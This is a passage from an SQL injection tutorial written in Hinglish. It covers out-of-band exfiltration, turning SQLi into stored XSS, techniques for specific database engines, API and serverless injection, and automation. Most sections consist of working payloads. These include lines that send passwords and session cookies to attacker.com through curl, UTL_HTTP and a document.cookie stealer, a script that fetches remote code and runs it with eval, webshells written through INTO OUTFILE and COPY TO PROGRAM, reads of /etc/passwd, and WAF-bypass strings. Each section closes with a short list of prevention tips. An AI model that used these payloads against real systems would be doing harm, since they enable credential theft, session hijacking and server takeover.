Agar database server DNS queries resolve kar sakta hai, toh attacker exfiltration ke liye
malicious DNS server use kar sakta hai.

Example Payload (MySQL):

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1),


'.attacker.com\\file'));

➡ Effect: Database server attacker-controlled domain attacker.com par DNS request


bhejega, jisme exfiltrated data embedded hoga.

✅ Alternative (MSSQL using xp_cmdshell)

EXEC xp_cmdshell 'nslookup "password.attacker.com"';

➡ Effect: Windows command execution ke through DNS lookup hoga aur attacker ko
password mil jayega.
✅ 2. Extracting Data via Burp Collaborator

Burp Suite ka Collaborator tool use karke bhi Out-of-Band SQL Injection detect aur exploit
kiya ja sakta hai.

Step-by-Step Execution:

1️⃣ Burp Suite Collaborator ko open karein aur ek custom URL generate karein.
2️⃣ Blind SQL Injection payload fire karein jo Collaborator URL ko trigger kare:

SELECT LOAD_FILE('\\\\attacker.burpcollaborator.net\\test');

3️⃣ Agar request Burp Collaborator pe capture hoti hai, toh SQLi successful hai aur external
requests allowed hain.
4️⃣ Ab database data encode karke exfiltrate kiya ja sakta hai (Base64, Hex, etc.).

🔹 HTTP Exfiltration via SQL Injection


✅ 1. Extracting Data via HTTP Requests

Agar database server external HTTP requests allow karta hai, toh attacker data ko HTTP
GET/POST request me embed karke exfiltrate kar sakta hai.

Example Payload (PostgreSQL using COPY FROM PROGRAM)

COPY (SELECT username || ':' || password FROM users) TO PROGRAM 'curl


http://attacker.com/exfil?data=' || username || ':' || password;

➡ Effect: Attacker ke server par usernames & passwords bhej diye jayenge.

✅ Alternative (MySQL using UDFs & CURL)

SELECT sys_exec('curl http://attacker.com/?data=' || (SELECT password FROM


users LIMIT 1));

➡ Effect: Data attacker ke server par exfiltrate ho jayega.


🔹 Real-World SQL Injection via DNS & HTTP Exfiltration

• 2021: Financial Institution Data Leak via DNS Exfiltration


Attackers ne Blind SQL Injection aur DNS queries ka use karke customer data leak kiya.
• 2022: Cloud Server Misconfiguration Leading to SQLi Data Theft
Hackers ne cloud-based database se HTTP requests ke through exfiltration perform
kiya.

🔹 Prevention Techniques

✅ Database se outgoing DNS & HTTP requests block karein


✅ Web Application Firewall (WAF) implement karein jo outbound traffic monitor kare
✅ Strict network policies implement karein (Only allow trusted domains for external
requests)
✅ Detect Out-of-Band SQL Injection using Security Monitoring Tools

9. SQL Injection in Stored XSS (Cross-Site Scripting)


🔹 Concept Explanation

SQL Injection aur Cross-Site Scripting (XSS) dono alag-alag web vulnerabilities hain, lekin
jab dono combine hote hain, toh Stored XSS via SQL Injection ka powerful attack possible
hota hai.

Attack Surface:
✅ Web apps jo user inputs ko database me store karti hain (comments, reviews, feedback
forms, etc.)
✅ Websites jisme stored data ko sanitize kiya bina render kiya jata hai
✅ Admin dashboards jisme user-generated content show hota hai

➡ Attacker SQL Injection ka use karke malicious JavaScript inject karta hai jo database
me store ho jaye.
➡ Jab koi user ya admin page visit karta hai, toh malicious script execute ho jati hai.
🔹 Real-Life Attack Scenario
✅ 1. SQL Injection to Inject XSS Payload

Koi vulnerable blog comment system hai jisme user comments database me store hote hain.
Agar SQL Injection possible hai, toh attacker ek malicious XSS payload inject kar sakta hai.

Example Vulnerable Query:

INSERT INTO comments (username, comment) VALUES ('$username', '$comment');

Attacker injects:

'); DROP TABLE users; --

➡ Effect: Table drop ho sakti hai!

Ab agar attacker malicious JavaScript inject kare jo XSS trigger kare:

'); INSERT INTO comments (username, comment) VALUES ('hacker', '<script>


alert("Hacked!"); </script>'); --

➡ Effect: Jab koi admin page visit karega, toh JavaScript execute ho jayegi.

✅ Secure Query (Parameterized Query Use Karke):

INSERT INTO comments (username, comment) VALUES (?, ?);

➡ Effect: SQL Injection prevent ho jayega.

✅ 2. Exploiting SQLi-XSS for Cookie Theft

Agar attacker XSS payload ko refine kare aur session cookies steal kare, toh admin session
hijacking possible ho sakti hai.

Example Payload:

'); INSERT INTO comments (username, comment) VALUES ('hacker',


'<script>document.location="http://attacker.com/steal?cookie="+document.cooki
e;</script>'); --
➡ Effect: Jab admin comments dekhega, toh uska authentication cookie attacker ko chala
jayega.
➡ Attacker us cookie ko use karke admin session hijack kar sakta hai.

🔹 Advanced SQLi-XSS Exploitation: Webshell Upload

Agar application file uploads allow karti hai, toh attacker SQL Injection se XSS execute
karke webshell upload kar sakta hai.

Example Payload:

'); INSERT INTO comments (username, comment) VALUES ('hacker',


'<script>fetch("http://attacker.com/shell.php").then(res =>
res.text()).then(data => eval(data));</script>'); --

➡ Effect: Attacker malicious PHP shell upload kar sakta hai, jo server ka full control de sakti
hai.

🔹 Real-World SQL Injection XSS Attacks

• 2020: Banking Web Portal Compromised via SQLi-XSS Chain


Attackers ne database ke through stored XSS inject kiya, jisse phishing aur credential
theft possible hua.
• 2021: E-commerce Review System Exploited for XSS Injection
Review system me SQLi ka use karke JavaScript inject ki gayi, jisse customer ke credit
card details leak ho gaye.

🔹 Prevention Techniques

✅ Use Parameterized Queries to Prevent SQL Injection


✅ Input Validation: No HTML/JavaScript Allowed in Inputs
✅ Output Encoding (HTML Entities Convert Karein taaki XSS Execute Na Ho)
✅ WAF (Web Application Firewall) Use Karein to Detect SQLi & XSS Payloads
✅ Content Security Policy (CSP) Implement Karein to Block Malicious Scripts
10. Database-Specific SQL Injection Techniques
SQL Injection har database engine ke liye thodi alag hoti hai kyunki har database ka syntax,
functions aur security mechanisms alag hote hain.
Ab hum dekhenge MySQL, MSSQL, PostgreSQL, aur Oracle ke liye SQL Injection
exploitation techniques.

🔹 1. MySQL-Specific SQL Injection Techniques

Exploitable Functions & Techniques:


✅ UNION SELECT (for data extraction)
✅ LOAD_FILE() (for reading files from the server)
✅ INTO OUTFILE (for writing files and backdoor uploads)
✅ SLEEP() (for time-based blind SQLi)

✅ Example 1: Extracting Database Version


' UNION SELECT 1, @@version, 3-- -

➡ Effect: Database version output ho jayegi.

✅ Example 2: Reading Sensitive Files


' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3-- -

➡ Effect: Linux ke passwd file ka data show ho jayega.

✅ Example 3: Writing a Webshell for RCE


' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY
0x3C3F70687020246576616C28245F4745545B2770275D293B3F3E

➡ Effect: PHP backdoor upload ho jayega, jo attacker ko remote access de sakta hai.
🔹 2. MSSQL-Specific SQL Injection Techniques

Exploitable Functions & Techniques:


✅ xp_cmdshell (for command execution)
✅ sp_makewebtask (for file writing)
✅ WAITFOR DELAY (for time-based blind SQLi)

✅ Example 1: Extracting System User


' UNION SELECT SYSTEM_USER, NULL, NULL-- -

➡ Effect: Database ka system user name output hoga.

✅ Example 2: Executing OS Commands (Windows Server)


' ; EXEC xp_cmdshell('whoami')-- -

➡ Effect: Windows command execute ho jayega, jo system user ka naam dikhayega.

✅ Example 3: Time-Based Blind SQL Injection


' ; IF (1=1) WAITFOR DELAY '00:00:10'-- -

➡ Effect: Agar injection successful hota hai, toh server 10 seconds ke delay se response dega.

🔹 3. PostgreSQL-Specific SQL Injection Techniques

Exploitable Functions & Techniques:


✅ pg_sleep() (for time-based attacks)
✅ COPY TO PROGRAM (for file writing & RCE)
✅ dblink() (for connecting to other databases)

✅ Example 1: Time-Based Blind SQLi


' OR 1=1; SELECT pg_sleep(5);-- -

➡ Effect: Agar SQL Injection possible hai, toh 5-second delay response me dikhega.

✅ Example 2: Writing Files via COPY TO PROGRAM


COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO PROGRAM 'tee
/var/www/html/shell.php';
➡ Effect: PHP webshell create ho jayega, jo attacker ko remote access de sakta hai.

🔹 4. Oracle-Specific SQL Injection Techniques

Exploitable Functions & Techniques:


✅ UTL_HTTP.REQUEST() (for making HTTP requests)
✅ DBMS_LOCK.SLEEP() (for time-based blind SQLi)
✅ UTL_FILE.FOPEN() (for file writing)

✅ Example 1: Extracting Database Name


' UNION SELECT name FROM v$database-- -

➡ Effect: Oracle database ka naam output me aa jayega.

✅ Example 2: Time-Based Blind SQL Injection


' OR 1=1; BEGIN DBMS_LOCK.SLEEP(5); END;-- -

➡ Effect: Agar SQL Injection possible hai, toh server response 5 seconds delay karega.

✅ Example 3: HTTP Exfiltration via UTL_HTTP.REQUEST


DECLARE
req UTL_HTTP.REQUEST;
BEGIN
req := UTL_HTTP.REQUEST('http://attacker.com?data=' || (SELECT password
FROM users WHERE ROWNUM = 1));
END;

➡ Effect: Database attacker ke server ko request bhejkar passwords exfiltrate karega.

🔹 Prevention Techniques

✅ Use Parameterized Queries for Each Database Type


✅ Disable Dangerous Functions (xp_cmdshell, UTL_HTTP, etc.)
✅ Apply Database-Specific Security Patches & Configurations
✅ Monitor Outgoing Network Requests to Detect Exfiltration Attempts
11. Advanced SQL Injection in JSON & XML APIs
🔹 Overview

Aaj kal modern web applications APIs (JSON & XML) ka use karti hain, jisme traditional
SQL Injection detection mushkil ho sakta hai.
Lekin agar API backend SQL database use kar raha hai aur user input properly sanitize nahi
ho raha, toh JSON aur XML data ke through SQL Injection possible hoti hai.

🔹 JSON-Based SQL Injection

Jab web applications JSON data process karti hain, agar backend SQL queries raw JSON
input accept kar rahi hain, toh injection possible hai.

✅ Example 1: Normal API Request


{
"username": "admin",
"password": "password123"
}

➡ Query Backend:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

🔴 Exploiting JSON-Based SQL Injection

Agar application raw JSON input ko SQL query me directly embed karti hai, toh attack kuch
aisa hoga:

{
"username": "admin'--",
"password": "irrelevant"
}

➡ Query Backend (SQL Injection Exploited):

SELECT * FROM users WHERE username = 'admin'--' AND password = 'irrelevant';

Effect: Password check bypass ho gaya kyunki -- comment out kar raha hai password
validation ko!
✅ Example 2: Extracting Data with UNION-Based JSON SQLi
{
"username": "admin' UNION SELECT null, database(), null --",
"password": "irrelevant"
}

➡ Effect: Database name reveal ho jayega!

✅ Example 3: Blind SQLi in JSON APIs

Agar error messages disable hain, toh time-based SQL Injection use kar sakte hain:

{
"username": "admin' OR IF(1=1, SLEEP(5), 0) --",
"password": "irrelevant"
}

➡ Effect: Agar API response 5 seconds delay karta hai, toh SQLi possible hai!

🔹 XML-Based SQL Injection

Agar web application XML data handle kar rahi hai, toh XML payload ke andar SQL
Injection possible hoti hai.

✅ Example 1: Normal XML API Request


<login>
<username>admin</username>
<password>password123</password>
</login>

➡ Backend Query:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

🔴 Exploiting XML-Based SQL Injection


<login>
<username>admin'--</username>
<password>irrelevant</password>
</login>

➡ Query Backend:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'irrelevant';

Effect: Password validation bypass ho gaya!

✅ Example 2: Extracting Data via XML SQLi


<login>
<username>admin' UNION SELECT database(), NULL, NULL --</username>
<password>irrelevant</password>
</login>

➡ Effect: Database ka naam mil jayega!

✅ Example 3: Blind SQLi in XML APIs


<login>
<username>admin' OR IF(1=1, SLEEP(5), 0) --</username>
<password>irrelevant</password>
</login>

➡ Effect: Agar API response 5-second delay kare, toh SQL Injection possible hai!

🔹 Prevention Techniques

✅ Prepared Statements ka use karo


✅ Input validation implement karo (JSON & XML parsers me validation add karo)
✅ WAF (Web Application Firewall) rules update karo
✅ Error messages expose na hone do
✅ API security tools ka use karo (Burp Suite, Postman, SQLmap API mode)
12. SQL Injection in Serverless Applications
🔹 Overview

Serverless architecture (AWS Lambda, Google Cloud Functions, Azure Functions) me


traditional servers nahi hote, lekin agar database access directly ho raha hai, toh SQL Injection
still possible hai!

➡ Issue:
Serverless functions me database calls dynamic parameters ke bina execute ho sakti hain, jo
SQL Injection attacks ke liye vulnerable hota hai.

🔹 Example: AWS Lambda with SQL Injection

Agar AWS Lambda DynamoDB ya RDS (Relational Database Service) ke saath connected hai
aur raw input process kar raha hai, toh SQLi ho sakti hai.

✅ Normal API Request (AWS Lambda + RDS)


Code Example (Python)
import pymysql

def lambda_handler(event, context):


user = event['queryStringParameters']['username']
password = event['queryStringParameters']['password']

conn = pymysql.connect(host="db.example.com", user="admin",


password="pass", database="users_db")
cursor = conn.cursor()

query = f"SELECT * FROM users WHERE username='{user}' AND


password='{password}';"
cursor.execute(query)
result = cursor.fetchall()

return {"statusCode": 200, "body": str(result)}

➡ Issue: query variable directly user input embed kar raha hai → SQL Injection vulnerable!
🔴 Exploiting Serverless SQL Injection (AWS API Gateway)

Agar attacker API Gateway par malicious payload inject kare, toh SQL Injection ho sakti
hai:

Malicious API Request:


https://example.com/api?username=admin'--&password=irrelevant

➡ Backend Query:

SELECT * FROM users WHERE username='admin'--' AND password='irrelevant';

Effect: Password validation bypass!

Data Dump Using UNION Injection:


https://example.com/api?username=admin' UNION SELECT database(),user()--
&password=irrelevant

➡ Effect: Database aur current user ka naam mil jayega!

🔹 Example: Google Cloud Functions with SQL Injection

Agar Google Cloud Functions (GCF) Firebase ya PostgreSQL use kar raha hai, aur direct
string queries execute ho rahi hain, toh SQLi possible hai.

✅ Vulnerable Code Example (Node.js + Firebase Functions)


const functions = require("firebase-functions");
const { Client } = require("pg");

exports.getUser = functions.https.onRequest(async (req, res) => {


const username = req.query.username;

const client = new Client({


connectionString: process.env.DB_URL,
});

await client.connect();
const query = `SELECT * FROM users WHERE username = '${username}'`;
const result = await client.query(query);

res.send(result.rows);
});

➡ Issue: query string dynamically build ho raha hai → SQL Injection vulnerable!
🔴 Exploiting SQL Injection in Google Cloud Functions
Malicious API Request:
https://us-central1-myapp.cloudfunctions.net/getUser?username=admin' OR
'1'='1

➡ Backend Query:

SELECT * FROM users WHERE username = 'admin' OR '1'='1';

Effect: Saare users ka data expose ho sakta hai!

🔹 Prevention Techniques

✅ Prepared Statements & Parameterized Queries ka use karo


✅ Serverless WAF (AWS WAF, Cloud Armor) ka use karo
✅ IAM Roles & Least Privilege Policy enforce karo
✅ Input validation implement karo
✅ Database error messages ko expose mat hone do

13. Machine Learning & AI for SQL Injection Detection


🔹 Overview

Traditional WAF (Web Application Firewall) aur signature-based detection systems SQL
Injection attacks ko detect karne me helpful hote hain, lekin AI aur Machine Learning (ML) ka
use karke SQLi detection aur prevention aur bhi powerful ban sakti hai.

➡ Problem:
Traditional security solutions pattern-based detection use karte hain, jo zero-day SQL
Injection attacks ko detect nahi kar sakte.

➡ ✅ Solution:
AI/ML models behavior-based analysis use karte hain, jo anomalous SQL queries ko detect
kar sakte hain aur automatically new attack patterns seekh sakte hain.
🔹 AI-Based SQL Injection Detection Methods
1⃣ Anomaly Detection Model

AI normal SQL queries ka pattern learn karta hai aur agar koi anomalous query detect hoti
hai, toh SQL Injection ka suspicion hota hai.

✅ Example:

✔ Normal Query (Safe)

SELECT * FROM users WHERE username = 'admin';

✔ Anomalous Query (Suspicious)

SELECT * FROM users WHERE username = 'admin' UNION SELECT password FROM
users;

➡ AI Model recognize karega ki normal queries me UNION SELECT ka use nahi hota,
isliye ye suspicious ho sakta hai!

2⃣ Supervised Machine Learning (Classification Models)

ML models ko SQL Injection aur normal queries ka labeled dataset dekar train kiya jata hai,
taki ye predict kar sake ki ek query malicious hai ya nahi.

✅ Example:

✔ Training Data Example:


| Query | Label | |--------------------|----------| | SELECT * FROM users WHERE username =
'john' | Safe | | SELECT * FROM users WHERE username = 'admin' UNION SELECT
password FROM users; | Malicious | | SELECT * FROM users WHERE username = 'admin'
OR '1'='1' | Malicious |

➡ Model ko train karne ke baad, agar koi new SQL query input hoti hai, toh ML model
predict karega ki wo attack hai ya nahi!
3⃣ Natural Language Processing (NLP) for SQL Injection

AI models NLP techniques ka use karke SQL syntax aur injection payloads ko understand
kar sakte hain.

✔ Tokenization & Query Parsing:

SELECT * FROM users WHERE username = 'admin' --'

➡ AI model recognize karega ki -- comment symbol SQL Injection ka sign ho sakta hai!

🔹 Tools & Frameworks for AI-Based SQLi Detection

✅ Snort + AI Plugins → Network-based SQLi detection


✅ AI-Powered WAF (ModSecurity + ML) → Web application layer security
✅ Autoencoder Neural Networks → SQL Injection anomaly detection
✅ Random Forest & SVM Models → SQLi classification & detection

🔹 AI-Based SQL Injection Prevention Techniques

✅ Self-Learning Firewalls (AI WAF)


✅ AI-Powered Log Analysis (Detect Anomalous SQL Queries)
✅ Deep Learning for SQLi Signature Detection
✅ Real-Time SQL Query Scoring System (Risk Analysis)

14. SQL Injection in Legacy Systems


🔹 Overview

Legacy systems wo old applications hote hain jo outdated databases, frameworks, aur
security practices use karte hain. Inme SQL Injection zyada common hoti hai, kyunki ye
applications modern security measures implement nahi karti.
➡ Problem:

• Old databases (MySQL 3.x, MSSQL 2000, Oracle 8i, etc.)


• No Prepared Statements (Direct SQL queries)
• Weak Authentication Mechanisms
• Lack of Input Validation
• Unsupported & Unpatched Systems

🔹 Why Legacy Systems are SQL Injection Prone?

✅ 1️⃣ Direct Query Execution Without Sanitization


Legacy applications user input directly SQL query me inject karte hain, jo SQL Injection
attacks ke liye vulnerable bana deta hai.

Example (Old PHP + MySQL Code - Vulnerable)

$username = $_GET['username'];
$password = $_GET['password'];

$query = "SELECT * FROM users WHERE username='$username' AND


password='$password'";
$result = mysql_query($query);

➡ Issue: mysql_query() direct input execute karta hai, jo SQL Injection allow karta hai!

✅ 2⃣ Old Database Versions with Known Exploits


Legacy systems MySQL 3.x, MSSQL 2000, PostgreSQL 7.x jese purane database versions use
karte hain, jinme multiple SQL Injection vulnerabilities exist karti hain.

Example: MSSQL 2000 Stack Overflow Exploit

SELECT CAST(0x414141 AS int)

➡ Old MSSQL versions me ye buffer overflow exploit SQL Injection ka ek example hai.

✅ 3️⃣ Lack of Web Application Firewalls (WAF)


Purani applications WAF implement nahi karti, is wajah se automated SQLi tools (SQLmap)
easily exploit kar sakte hain.
Example (Legacy Web App Targeted by SQLmap)

sqlmap -u "http://legacyapp.com/login.php?user=admin" --dbs

➡ Result: SQLmap pura database dump kar sakta hai, kyunki WAF ya security layer
absent hai!

🔹 Exploiting SQL Injection in Legacy Systems

✅ 1️⃣ Boolean-Based Blind SQL Injection (Old MySQL 3.x)

http://legacyapp.com/login.php?user=admin' AND '1'='1 --

➡ Effect: Admin login bypass

✅ 2⃣ UNION-Based Injection in MSSQL 2000

http://legacyapp.com/view.php?id=1 UNION SELECT name, password FROM users--

➡ Effect: Pura users table leak ho jayega

✅ 3️⃣ Error-Based SQL Injection in Oracle 8i

http://legacyapp.com/item.php?id=1' AND
1=UTL_INADDR.GET_HOST_ADDRESS('evil.com') --

➡ Effect: Oracle 8i SQLi vulnerability ka use karke attacker apni malicious domain se data
le sakta hai

🔹 Preventing SQL Injection in Legacy Systems

✅ 1️⃣ Prepared Statements Use Karo


Old PHP Fix Using mysqli (Safe Code Example)

$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND


password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

➡ SQL Injection mitigate ho jati hai!


✅ 2⃣ Legacy WAF Implement Karo
ModSecurity jese Web Application Firewalls SQLi payloads ko block kar sakte hain.

✅ 3️⃣ Database Upgrade & Patching


✔ MySQL 3.x → MySQL 8.0
✔ MSSQL 2000 → MSSQL 201️9
✔ Oracle 8i → Oracle 1️9c

✅ 4️⃣ Least Privilege Access Control


✔ Database Users ko minimal privileges do
✔ READ-ONLY mode enforce karo jahan possible ho

15. Automation & Custom Tool Development for SQLi


🔹 Overview

SQL Injection attacks ko manual testing se exploit karna time-consuming ho sakta hai. Isliye
attackers, penetration testers, aur bug bounty hunters automation tools aur custom scripts ka
use karte hain SQL Injection detect aur exploit karne ke liye.

➡ Problem:

• Manually SQLi detect karna slow process hai


• Automated tools like SQLmap ko WAF easily detect kar sakti hai
• Custom payloads aur bypass techniques create karne ki zarurat hoti hai

➡ ✅ Solution:

• Automated SQL Injection Scanners (SQLmap, NoSQLMap)


• Custom Python & Bash Scripts
• AI-Based SQL Injection Detection Systems
• Bypassing WAF using Advanced Payloads
🔹 1. Using SQLmap for Automated SQLi Exploitation

SQLmap ek powerful open-source SQL Injection tool hai jo databases ko detect, exploit, aur
dump karne me madad karta hai.

✅ Basic SQL Injection Scan

sqlmap -u "http://target.com/index.php?id=1" --dbs

➡ Effect: SQLmap automatically database enumerate karega

✅ Bypassing WAF using Tamper Scripts

sqlmap -u "http://target.com/index.php?id=1" --dbs --tamper=randomcase

➡ Effect: SQLi payloads ko obfuscate karke WAF bypass kiya jata hai

✅ Dumping Full Database

sqlmap -u "http://target.com/index.php?id=1" --dump-all

➡ Effect: Pura database dump ho jayega!

🔹 2. Creating Custom Python Script for SQL Injection

Agar SQLmap detect ho jaye ya ineffective ho, toh custom Python scripts ka use kiya jata hai
manual SQL Injection exploit karne ke liye.

✅ Python SQLi Scanner Script

import requests

target_url = "http://target.com/index.php?id="

payloads = ["1' OR '1'='1", "1' UNION SELECT null, username, password FROM
users--"]

for payload in payloads:


response = requests.get(target_url + payload)
if "Welcome" in response.text:
print(f"Possible SQLi Detected! Payload: {payload}")

➡ Effect: Website ka response check karke detect karega ki SQLi vulnerability exist karti
hai ya nahi!
🔹 3. Custom Bash Script for SQL Injection Automation

Bash scripting se automated SQLi attacks launch kiye ja sakte hain jo pentesting aur CTF
challenges me useful hote hain.

✅ Bash SQLi Fuzzer

#!/bin/bash
TARGET="http://target.com/index.php?id="

for payload in "' OR '1'='1" "' UNION SELECT username, password FROM users--
"; do
RESPONSE=$(curl -s "$TARGET$payload")
if [[ $RESPONSE == *"Welcome"* ]]; then
echo "[+] SQL Injection Successful: $payload"
fi
done

➡ Effect: Website ko fuzz karke SQLi vulnerability check karega!

🔹 4. Bypassing WAF Using Custom Payloads

✔ Common SQL Injection Payloads WAF easily detect kar leti hai
✔ Obfuscated aur encoded payloads use karke bypass kiya jata hai

✅ Basic SQLi Payload (Blocked by WAF)

' OR '1'='1' --

✅ Bypassed Payload (WAF Confuse Hogaya)

' OR '1'='1' /*!50000UNION*/ SELECT username, password FROM users--

➡ Effect: /*!50000UNION*/ syntax WAF evade karne ke liye use hota hai

🔹 5. AI-Based SQL Injection Automation

✅ AI-Powered Security Tools jo real-time SQL Injection detection aur prevention kar
sakte hain:
✔ Deep Learning Models for SQL Injection Detection
✔ Self-Learning AI WAF (Cloudflare, ModSecurity AI)
✔ Anomaly Detection Using Neural Networks

✅ Example: AI SQL Injection Detection System

from sklearn.ensemble import RandomForestClassifier


from sklearn.feature_extraction.text import CountVectorizer

queries = ["SELECT * FROM users WHERE username='admin'",


"SELECT * FROM users WHERE username='admin' OR '1'='1'"]

labels = [0, 1] # 0 = Safe, 1 = Malicious

vectorizer = CountVectorizer()
X = vectorizer.fit_transform(queries)

model = RandomForestClassifier()
model.fit(X, labels)

test_query = ["SELECT * FROM users WHERE username='admin' UNION SELECT


password FROM users"]
prediction = model.predict(vectorizer.transform(test_query))

print("Detected as:", "Malicious" if prediction[0] == 1 else "Safe")

➡ Effect: AI model automatically detect karega ki SQL query malicious hai ya nahi!

🔹 Summary

✅ SQL Injection attacks ko automate karne ke liye SQLmap, Python & Bash scripts use
kiye jate hain
✅ Custom payloads aur encoding techniques WAF bypass karne me help karte hain
✅ AI aur Machine Learning SQLi detection aur prevention ko aur powerful bana sakte
hain

You might also like